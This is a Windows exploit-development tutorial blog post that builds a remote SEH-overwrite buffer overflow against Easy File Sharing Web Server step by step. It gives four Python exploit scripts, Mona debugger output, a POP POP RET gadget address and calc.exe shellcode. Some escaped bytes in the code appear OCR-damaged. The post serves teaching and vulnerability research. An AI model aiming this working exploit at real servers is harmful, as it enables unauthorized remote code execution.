Zero Day Zen Garden: Windows Exploit Development - Part 4 [Overwriting SEH with Buffer Overflows]

Nov 6, 2017 • Steven Patterson



Hello! In this post we're looking at SEH overwrite exploits and our first Remote Code Execution. I'm back from a little hiatus which I partially blame on the reverse engineers over at FireEye Labs Advanced Reverse Engineering team for putting such a smashing CTF together called the FLARE-On challenge. But, I've returned to continue the Zero Day Zen Garden exploit development tutorial series. So without further ado, let's get into Part 4 where we will be looking at how to overwrite the Structured Exception Handler (SEH) in Windows to gain arbitrary code execution.



The software we'll be exploiting today is called Easy File Sharing Web Server (download software here) and you can see the proof-of-concept I based this post on at Exploit-DB. There's a few things that are different about this exploit from previous tutorials, for starters, it's a Remote Code Execution vulnerability. That means the software can be exploited across the internet from a remote location, which differs from the local exploits we have been dealing with in the past. The second difference is that instead of using a vanilla buffer overflow that overwrites EIP, it exploits the Structured Exception Handler or SEH chain to gain code execution. What does this mean? Well to understand the exploit, we need to understand what the SEH chain is.

Windows Structured Exception Handler (SEH) Overview

The 30'000 foot view of SEH is as follows: Windows needs the software it runs to be able to recover from errors that occur, to do this, it allows developers to specify what should happen when a program runs into a problem (or an exception) and write special code that runs whenever an error pops up (handler). In other words, Windows implements a structured way for developers to handle exceptions that they called the Structured Exception Handler.

What does a Structured Exception Handler look like in the real world? Well, if you've ever encountered a software error you'll be familiar with the error dialog box that pops up. That dialog box did not materialize out of thin air, it was programmed by someone as behaviour that would run whenever that error happened. This all sounds like a perfectly reasonable idea right? Well it is, as long as the code that runs after an error is code that was intended by the developer. We can actually hijack this process to run the code that we want by overwriting the original SEH code. Then, all that needs to happen for us to have the code get executed is to intentionally trigger an error (exception) by writing past the end of the buffer and voila! We have achieved arbitrary code execution.

Windows SEH implements a chain of code blocks to handle exceptions as a way for there to be several fallback options in case an error cannot be handled by an individual block. This code can be written in the software or the OS itself. Every program has an SEH chain, even software that does not have any error handling code written by the developer. For a diagram of the SEH chain, you can take a look at this photo from the Security Sift blog:



Now that you understand the general overview of how SEH works (and the first step of exploit development should always be understanding how the darn thing works), we can proceed to our exploit. First thing you'll need to do is obtain the software and install it on your Windows XP virtual machine. Once Easy File Sharing Server is installed, open it up in Immunity Debugger (you'll get an alert box about Registration, click the "Try it!" button to move past this dialog).

Open 32-bit executable 🔹 💽 🔀						
Look in: 🗀	Easy File Sha	ring Web Server	- + 1) 💣 🎟 -		
07_25_200 08_18_200 08_18_200 09_02_200 09_02_200 09_02_200 09_26_200	5_14_15_32 3_09_53_18 3_09_57_45 3_14_27_11 3_14_30_37 3_16_15_51	images images ing sg msg itemplates	🍓 fs ➡op prur ➡ w	wsService benssl hins000 'riteReg4Win7		
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File name:	fsws			Open		
Files of type:	Executable f	ile (*.exe)	•	Cancel		
Arguments:				•		

Registration - unregistered 🛛 🛛 🔀					
Thank you for trying Easy File Sharing Web Server! Easy File Sharing Web Server is a shareware. You are limited to 15 days of use for an unregistered version, after the evaluation period, it can only run for 30 minutes at a time. To remove the limitation, a Registration code for Standard Edition, Secure Edition or Corporate Edition must be purchased.					
≧	Click here to buy	Standard Editon >>			
	Click here to buy Secure Edition >>				
6	Click here to buy Corporate Edition >>				
	Share the product to get a special discount				
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Step 1: Attach debugger and confirm vulnerability

We need to confirm the vulnerability by crashing the software with a quick proof-of-concept script. Read the following Python script and I'll explain it after:

ezfilesharing_poc1.py

```
import socket
import os
import time
import sys
# IP address of host (set to localhost 127.0.0.1 because we are running it on ou
host = "127.0.0.1"
# Port of host
port = 80
# Build buffer
buf = "/.:/"
                            # Unusual, but needed
buf += "A" * 3000
                             # Our character buffer to cause a crash
# Craft our HTTP GET request
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:31.0) Gecko/20100101
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + buf + "; frmUserName=; fr
request += " rememberPass=pass"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"
print "[*] Connecting to target: " + host
# Set up our socket connection
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
try:
   # Attempt to connect to host
   connect = s.connect((host, port))
   print "[*] Successfully connected to: " + host
except:
   print "[!] " + host + " didn't respond...\n"
   sys.exit(0)
# Send payload to target
print "[*] Sending payload to target..."
s.send(request + "\r\n\r\n")
print "[!] Payload has been sent!\n"
s.close()
```

What we're doing in the above script is placing a large buffer of 3000 "A" characters into the cookie portion of an HTTP GET request, then sending that off to the Easy File Sharing Web Server. It can't properly parse the GET request, leading the buffer to overflow and crash the server. Let's see it in

action, go ahead and run the script to see the software crash. Now, check out Immunity Debugger and what you should see is the ever familiar 0x41414141 in the EAX register. But, we're planning to develop an SEH exploit, where can we see evidence that we can control the SEH chain? Using Immunity Debugger, you can select View \rightarrow SEH chain and you'll see that it is corrupted! This is perfect, it means we can control portions of the SEH chain.

Address S			
	SE handler		
01A96E70 4	41414141		
41414141	*** CORRUPT EN	TRY ***	

Step 2: Find SEH offset and confirm control over SEH chain

We have successfully confirmed that there is a buffer overflow vulnerability affecting the SEH chain and we can continue to build on our exploit. The thing we need to know now is, where on earth can we find the part in the buffer that influences the SEH chain? Well, we can use a pattern buffer like in previous exploits and then issue a Mona command to find the offset. Generate a pattern buffer of 3000 bytes using the following command:

!mona pc 3000

Open up the pattern.txt file and copy paste it into an updated Python exploit script:

ezfilesharing_poc2.py

```
import socket
import os
import time
import sys
# IP address of host (set to localhost 127.0.0.1 because we are running it on ou
host = "127.0.0.1"
# Port of host
port = 80
buf = "/.:/"
                            # Unusual, but needed
# Character pattern buffer to locate SEH offset
buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
```

```
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + buf + "; frmUserName=; fr
request += " rememberPass=pass"
request += "r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"
print "[*] Connecting to target: " + host
# Set up our socket connection
s = socket.socket(socket.AF_INET, socket.SOCK STREAM)
try:
   # Attempt to connect to host
   connect = s.connect((host, port))
   print "[*] Successfully connected to: " + host
except:
   print "[!] " + host + " didn't respond...\n"
   sys.exit(0)
# Send payload to target
print "[*] Sending payload to target..."
s.send(request + "\r\n\r\n")
print "[!] Payload has been sent!\n"
s.close()
```

After restarting the server in Immunity Debugger, run the script again and after the crash, use the following Mona command to identify the SEH offset:

!mona findmsp

Look at the console output from Mona and find the part where it describes the SEH offset, looks like it is 53 bytes in from the start of the buffer.

ØBADFØØD	tmona findmsp
ØBADFØØD	[+] Looking for cyclic pattern in memory
68000000	Modules C: WINDOWSNsystem32Nrsaenh.dll
ØBADFØØD	Cyclic pattern (normal) found at 0x01358de7 (length 3000 bytes)
ØBADFØØD	Cuclic pattern (normal) found at 0x013599c8 (length 3000 butes)
ØBADFØØD	Cyclic pattern (normal) found at 0x0135a5ed (length 3000 bytes)
ØBADFØØD	Cyclic pattern (normal) found at 0x01a96e3b (length 61 bytes)
ABADEAAD	- Stack nivet between 239 & 300 butes needed to land in this nattern
ABANEAAN	Cuclic pattern (normal) found at AvAla97a2c (length 3000 butes)
ABADFAAD	- Stack plugt between 3296 & 6296 butes needed to land in this pattern
ABANEAAN	Cuclic pattern (normal) found at 0x0150de98 (length 3000 butes)
ØBADFØØD	Cyclic pattern (normal) found at 0x01510e2b (length 3000 bytes)
ABADEAAD	Cuclic pattern (unicode) found at 0x0019ce42 (length 3000 butes)
ABANFAAN	[+] Examining registers
ABADEAAD	EDI (0x01a97624) points at offset 2025 in normal pattern (length 975)
ABANFAAN	FBX contains normal nattern : 0x41336341 (offset 69)
ABADEAAD	FSI (0x01a96e80) points at offset 69 in normal pattern (length 2931)
ABANFAAN	(+) Examining SEH chain
ABADEAAD	SEH record (nset field) at 0x01a96e70 overwritten with normal nattern : 0x38624137 (offset 53), followed by 0 bytes of cyclic data after the handler
ØBADFØØD	IT EXAMINING STACK LENTIFE STACKI - LOOKING FOR CYCLIC DATTERN
ØBADFØØD	Walking stack from 0x01a94000 to 0x01aafffc (0x0001bffc butes)
ØBADFØØD	0x01a96e3c : Contains normal cyclic pattern at ESP+0xf0 (+240) : offset 1. length 60 (-> 0x01a96e77 : ESP+0x12c)
ØBADFØØD	0x01a96e7c : Contains normal cyclic pattern at ESP+0x130 (+304) : offset 65. length 2935 (-> 0x01a979f2 : ESP+0xca7)
ØBADFØØD	0x01a97a2c : Contains normal cuclic pattern at ESP+0xce0 (+3296) : offset 0. length 3000 (-> 0x01a985e3 : ESP+0x1898)
ØBADFØØD	[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
ØBADFØØD	Walking stack from 0x01a94000 to 0x01aafffc (0x0001bffc bytes)
ØBADFØØD	0x01a94bdc : Pointer into normal cyclic pattern at ESP-0x2170 (-8560) : 0x0150e268 : offset 976, length 2024
ØBADFØØD	0x01a94c68 : Pointer into normal cyclic pattern at ESP-0x20e4 (-8420) : 0x0150e270 : offset 984, length 2016
ØBADFØØD	0x01a94d04 : Pointer into normal cyclic pattern at ESP-0x2048 (-8264) : 0x0150e260 : offset 968, length 2032
ØBADFØØD	0x01a95d14 : Pointer into normal cyclic pattern at ESP-0x1038 (-4152) : 0x01a97624 : offset 2025, length 975
ØBADFØØD	0x01a95e28 : Pointer into normal cyclic pattern at ESP-0xf24 (-3876) : 0x01a97624 : offset 2025, length 975
ØBADFØØD	0x01a95e44 : Pointer into normal cyclic pattern at ESP-0xf08 (-3848) : 0x01a97624 : offset 2025, length 975
ØBADFØØD	0x01a95f78 : Pointer into normal cyclic pattern at ESP-0xdd4 (-3540) : 0x01a97058 : offset 541, length 2459
ØBADFØØD	0x01a95f80 : Pointer into normal cyclic pattern at ESP-0xdcc (-3532) : 0x01a97624 : offset 2025, length 975
ØBADFØØD	0x01a95fac : Pointer into normal cyclic pattern at ESP-0xda0 (-3488) : 0x01a9705c : offset 545, length 2455
ØBADFØØD	0x01a96d30 : Pointer into normal cyclic pattern at ESP-0x1c (-28) : 0x01a96e70 : offset 53, length 8
ØBADFØØD	0x01a96d68 : Pointer into normal cyclic pattern at ESP+0x1c (+28) : 0x01a97624 : offset 2025. length 975
ØBADFØØD	0x01a96d88 : Pointer into normal cyclic pattern at ESP+0x3c (+60) : 0x01a97624 : offset 2025, length 975
ØBADFØØD	0x01a96d94 : Pointer into normal cyclic pattern at ESP+0x48 (+72) : 0x01a96e80 : offset 69. length 2931
ØBADFØØD	[+] Preparing output file 'findmap.txt'
ØBADFØØD	- (Re)setting logfile c:\mona_logs\fsws\findmsp.txt
ØBADFØØD	[+] Generating module info table, hang on
ØBADFØØD	- Processing modules
ØBADFØØD	- Done. Let's rock 'n roll.
ØBADFØØD	
ØBADFØØD	[+] This mona.py action took 0:04:25.812000

Now that we have an idea of where we can overwrite things in the SEH chain, we need some stuff to overwrite it with. In order for the SEH overwrite exploit to work, we need to have a few bytes of

assembly opcode instructions that will jump to our shellcode payload and an address of a code section with POP POP RET in it so we can begin execution of this jump code. The opcode instructions will be placed in the Next SEH section and the POP POP RET pointer will be put in the SEH section.

Step 3: Obtain opcode instructions & POP POP RET address

To obtain the opcode instructions, we can consult what opcode is used for JMP in x86 assembly (0xEB) and then translate 20 into hex (0x14) to get the number of bytes we will jump. We'll also add in some NOP instructions for good measure (0x90). The entire opcode sequence is as follows:

eb 14 90 90

This will look like "\xeb\x14\x90\x90" in our Python script, next we need to find that POP POP RET code block address. To find this, use the Mona command:

!mona seh

Open up the seh.txt log to find code block addresses that point to a POP POP RET sequence. Ideally we want a code section that resides in files from the application itself. This will make the exploit more portable and less dependent on individual Windows OS distributions. Remember, a good exploit will thrive in a large variety of environments, try to build in this adaptability from the beginning! I grabbed an address from ImageLoad.dll (0x10018605) which is an assembly code block of pop ebx \rightarrow pop ecx \rightarrow ret.

Let's confirm if we have the correct opcodes and POP POP RET address combo by updating the Python script with some mock INT shellcode, check out the comments and I'll explain the mechanics of the exploit script after:

ezfilesharing_poc3.py

```
import socket
import os
import time
import sys

# IP address of host (set to localhost 127.0.0.1 because we are running it on ou
host = "127.0.0.1"
# Port of host
port = 80
# Max size of our buffer
bufsize = 3000
```

```
padding = "/.:/"
                               # Unusual, but needed
padding += "A" * 53
                               # 53 byte offset character buffer to reach SEH
nseh = 'xebx14x90x90''
                           # nseh overwrite --> jmp 20 bytes with 2 NOPs
seh = "x05x86x01x10"
                               # pop pop ret ImageLoad.dll (WinXP SP3) 0x100186
nops = "\setminus x90"*20
                               # 20 byte NOP sled
payload = "\xCC"*32
                               # mock INT shellcode
# Build our exploit
sploit = padding
sploit += nseh
sploit += seh
sploit += nops
sploit += payload
# Build the filler buffer
filler = "\x43"*(bufsize-len(sploit))
# Combine together for final buffer
buf = sploit
buf += filler
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:31.0) Gecko/20100101
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + buf + "; frmUserName=; fr
request += " rememberPass=pass"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"
print "[*] Connecting to target: " + host
# Set up our socket connection
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
try:
   # Attempt to connect to host
   connect = s.connect((host, port))
   print "[*] Successfully connected to: " + host
except:
   print "[!] " + host + " didn't respond...\n"
   sys.exit(0)
```

```
# Send payload to target
print "[*] Sending payload to target..."
s.send(request + "\r\n\r\n")
print "[!] Payload has been sent!\n"
s.close()
```

So we defined several variables in our script to get the exploit to work, they are as follows:

- padding: this 53 byte character buffer allows us to get to the part that Mona tells us will overwrite the SEH chain.
- nseh: stands for "next SEH", it normally points to the next handler in the chain but we overwrite it with opcode that translates to "jmp 0x20" in x86 assembly.
- seh: points to the section of code that runs when an error occurs, we overwrite it with an address that points to a POP POP RET code block so we can execute the jump code residing in the above Next SEH.
- nops: a 20 byte NOP sled to provide a bit of wiggle room in case anything shifts the code around.
- payload: a mock payload of INT opcodes (0xCC) to verify that we have working arbitrary code execution.
- sploit: all the above variables combined
- filler: character bytes to fill up any space in the buffer not used up.
- buf: our exploit code combined with the filler code.

What this script will do is overwrite the Next SEH pointer with our custom jump opcodes and SEH with our new address pointing at POP POP RET. This will pop two instructions off the stack frame and return to our jump opcode, leading to code execution of the INT payload we added.

Run the script and check out Immunity Debugger, you'll need to pass the exception to the application for the exploit to work. To do this, from within Immunity, press Shift-F7 then F9 and you'll see that the payload gets executed when it says "INT".

[15:30:22] Access violation when reading [90909084] - use Shift+F7/F8/F9 to pass exception to program

01096E8D CC	INTS
Ø1A96E8E CC	INTS
01A96E8F CC	INTS
01A96E90 CC	INTS
01A96E91 CC	INTS
01A96E92 CC	INTS
01H96E93 CC	1013
01H96E94 CC	
01H96E95 CC	
01896596 CC	
01092590 00	
01096E99 CC	
Ø1A96E9A CC	INTA
01A96E9B CC	INTS
01A96E9C CC	INTS
01A96E9D CC	INTS
01A96E9E CC	INTS
U1H96E9F CC	
01H76EH0 CC	
01696E02 CC	
01A96EA3 CC	INTS
01A96EA4 CC	INTS
01A96EA5 CC	INTS
01A96EA6 CC	INTS
01H96EH7 CC	
01096E09 CC	
01096E8A CC	INTS
Ø1A96EAB CC	
01A96EAC 43	INC EBX
01A96EAD 43	INC EBX
01A96EAE 43	
01H96EHF 43 01096EP0 42	INC EDV
01096EB1 43	
01896EB2 43	
01A96EB3 43	
01A96EB4 43	ÎNC EBX
01A96EB5 43	INC EBX
01A96EB6 43	INC EBX
01H96EB7 43	
01H96EB8 43 01096EB9 49	
01896EB9 43	
01A96EBB 43	
01A96EBC 43	INC EBX
01096FBD 43	INC EBX
01A96EBE 43	
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[15:32:38] INT3 command at 01A96E8C

Step 4: Add payload instructions and confirm code execution

Brilliant! We have achieved code execution and we can now specify any payload we want. Let's choose a good ol' pop calc shellcode payload. Add the following into our script and run it again:

31	С9	#	xor	ecx,ecx
51		#	push	ecx

68	63	61	6C	63	#	push 0x636c6163
54					#	push dword ptr esp
B8	C7	93	C2	77	#	<pre>mov eax,0x77c293c7</pre>
FF	D0				#	call eax

ezfilesharing_poc4.py

```
import socket
import os
import time
import sys
# IP address of host (set to localhost 127.0.0.1 because we are running it on ou
host = "127.0.0.1"
# Port of host
port = 80
# Max size of our buffer
bufsize = 3000
padding = "/.:/"
                           # Unusual, but needed
padding += "A" * 53
                              # 53 byte offset character buffer to reach SEH
nseh = 'xebx14x90x90''
                              # nseh overwrite --> jmp 20 bytes with 2 NOPs
seh = "\x05\x86\x01\x10" # pop pop ret ImageLoad.dll (WinXP SP3) 0x100186
                     # 20 byte NOP sled
nops = "\setminus x90"*20
# Calc.exe shellcode payload
payload = 'x31xC9''
                                  # xor ecx,ecx
payload += "\x51"
                                  # push ecx
payload += "\x68\x63\x61\x6C\x63" # push 0x636c6163
payload += "\x54"
                                  # push dword ptr esp
payload += "\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7
                                 # call eax
payload += "\xFF\xD0"
# Build our exploit
# | offset [53 bytes] | nSeh [jmp 20 bytes] | Seh [0x10018605] | NOP sl
sploit = padding
sploit += nseh
sploit += seh
sploit += nops
sploit += payload
# Build the filler buffer
filler = "\x43"*(bufsize-len(sploit))
# Combine together for final buffer
buf = sploit
buf += filler
```

```
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:31.0) Gecko/20100101
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + buf + "; frmUserName=; fr
request += " rememberPass=pass"
request += "r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"
print "[*] Connecting to target: " + host
# Set up our socket connection
s = socket.socket(socket.AF_INET, socket.SOCK STREAM)
try:
   # Attempt to connect to host
   connect = s.connect((host, port))
   print "[*] Successfully connected to: " + host
except:
   print "[!] " + host + " didn't respond...\n"
   sys.exit(0)
# Send payload to target
print "[*] Sending payload to target..."
s.send(request + "\r\n\r\n")
print "[!] Payload has been sent!\n"
s.close()
```

After running the updated Python script and passing the exception (Shift-F7) then resuming execution (F9), you should see our old friend, the Windows calculator program calc.exe! Congratulations, you just completed your first SEH buffer overflow exploit script! That was more complex than our previous exploits so pat yourself on the back, it's also our first Remote Code Execution (or RCE) exploit in the series.



Lessons learned and reflections

What did we learn from this exploit? We learned that software sometimes introduces functionality that at its face is perfectly fine and well intentioned, but upon further poking and prodding can be turned into an attack vector. Who would have thought that error handling could be made into a vulnerability? It's quite amusing that Windows introduced something intended to recover from errors, but in reality added a new way to make errors even worse. We also learned all about how Windows handles errors using the Structured Exception Handler chain, proving that any hacker worth their salt should be familiar with the operating system they are writing exploits for. You end up missing quite a lot if you don't know about the environment you're hacking in. So dust off that Operating System Concepts 7th edition book and get reading!

Feedback and Part 5 next time

Thanks for coming back to check out the 4th part of this Windows exploit development series, it means a lot to me and I hope you are learning things that will help you get further as a vulnerability researcher. If you found anything to be unclear or you have some recommendations then send me a message on Twitter (@shogun_lab). RSS feed can be found here. I'll see you next time for Part 5!

お疲れ様でした。

UPDATE: Part 5 is posted here.

Structured Exception Handler exploit resources

Tutorials

• [Security Sift] Windows Exploit Development - Part 6: SEH Exploits

- [Corelan] Exploit writing tutorial part 3 : SEH Based Exploits
- [FuzzySecurity] Part 3: Structured Exception Handler (SEH)

Research

• [Microsoft] Structured Exception Handling

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Shogun Lab does application vulnerability research to help organizations identify flaws in their software before malicious hackers do.

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